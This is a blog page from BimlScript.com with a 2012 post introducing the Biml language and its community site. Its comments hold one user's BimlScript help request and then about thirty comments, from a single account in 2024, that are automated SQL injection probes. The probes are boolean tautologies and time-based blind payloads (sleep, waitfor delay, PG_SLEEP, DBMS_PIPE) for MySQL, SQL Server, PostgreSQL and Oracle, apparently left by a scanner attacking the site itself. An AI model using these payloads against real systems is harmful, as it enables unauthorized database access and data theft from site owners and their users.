Delete Blog Post
Are you sure that you want to delete this blog post?
Welcome to BimlScript.com
by BimlScript.com
published 9.10.12
As companies collect ever increasing quantities of information about their business, efficient resources to develop business intelligence solutions are critical to keeping up with the flood of data. Thousands of users have already discovered that the Biml language makes it possible to quickly, easily, and manageably author end-to-end BI solutions. Biml is an XML-based development language that can automatically generate large amounts of assets for any version of the Microsoft SQL Server platform (e.g. T-SQL scripts, SSIS packages, SSAS cubes, and more). What some may not know is that Biml also enables you to easily share solutions to common BI problems, without having to rewrite lots of code or share proprietary details of database structure.
BimlScript.com is intended to provide a hub for sharing BimlScripts, patterns, and best practices to further accelerate the work of Biml users. It is an online community for learning Biml, developing and sharing Biml solutions to BI problems, and helping others achieve success with Biml. Users can get started learning and authoring Biml, expand their knowledge by browsing the site's walkthroughs, video tutorials, and snippets, contribute their Biml knowledge to the community, and even develop Biml directly in their own browser.
We know Biml is revolutionizing how BI is done, and we're confident that you're about to have the same jaw-dropping experience.
Comments
pavan
11:48am 11.30.16
HI This is pavan and getting error while implementation of Automation code for generating ssis packages using BIML. Please look at the below code and the error is highlighted with the bold. <#@ template language="C#" hostspecific="true"#> <#@ import namespace="System.Data" #>
<# string DestCnStr ="Data Source=SHVLSP2493F1D\MSSQLSERVER2012;Initial Catalog=DestDatabase;Provider=SQLNCLI11.1;Integrated Security=SSPI";
DataTable tables = ExternalDataAccess.GetDataTable(DestCnStr,"SELECT t.name FROM sys.tables t") ;
foreach (DataRow row in tables.Rows)
{ #>
<Package Name="Load_"
<#=row[0]#>" ConstraintMode="Linear" >
select * from <#=row[0]#>
select * from <#=row[0]#>
tMtFQiRt
6:03am 02.07.24
j6Ge4UoB
tMtFQiRt
6:03am 02.07.24
-1 OR 2+960-960-1=0+0+0+1 --
tMtFQiRt
6:03am 02.07.24
-1 OR 2+95-95-1=0+0+0+1
tMtFQiRt
6:04am 02.07.24
-1' OR 2+608-608-1=0+0+0+1 --
tMtFQiRt
6:04am 02.07.24
-1' OR 2+962-962-1=0+0+0+1 or 'wRVjD8me'='
tMtFQiRt
6:04am 02.07.24
-1" OR 2+750-750-1=0+0+0+1 --
tMtFQiRt
6:04am 02.07.24
if(now()=sysdate(),sleep(15),0)
tMtFQiRt
6:04am 02.07.24
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tMtFQiRt
6:04am 02.07.24
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tMtFQiRt
6:04am 02.07.24
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
tMtFQiRt
6:04am 02.07.24
-1; waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
-1); waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
-1)); waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
1 waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
TFPRk7rd'; waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
NhNN0jpH'); waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
38barlis')); waitfor delay '0:0:15' --
tMtFQiRt
6:04am 02.07.24
-5 OR 837=(SELECT 837 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
-5) OR 623=(SELECT 623 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
Fw3bJsFm' OR 413=(SELECT 413 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
suiQIZeD') OR 84=(SELECT 84 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
EFiRhMiI')) OR 857=(SELECT 857 FROM PG_SLEEP(15))--
tMtFQiRt
6:05am 02.07.24
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tMtFQiRt
6:05am 02.07.24
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tMtFQiRt
6:05am 02.07.24
1'"
tMtFQiRt
6:05am 02.07.24
1 ����%2527%2522
tMtFQiRt
6:05am 02.07.24
@@zUC3B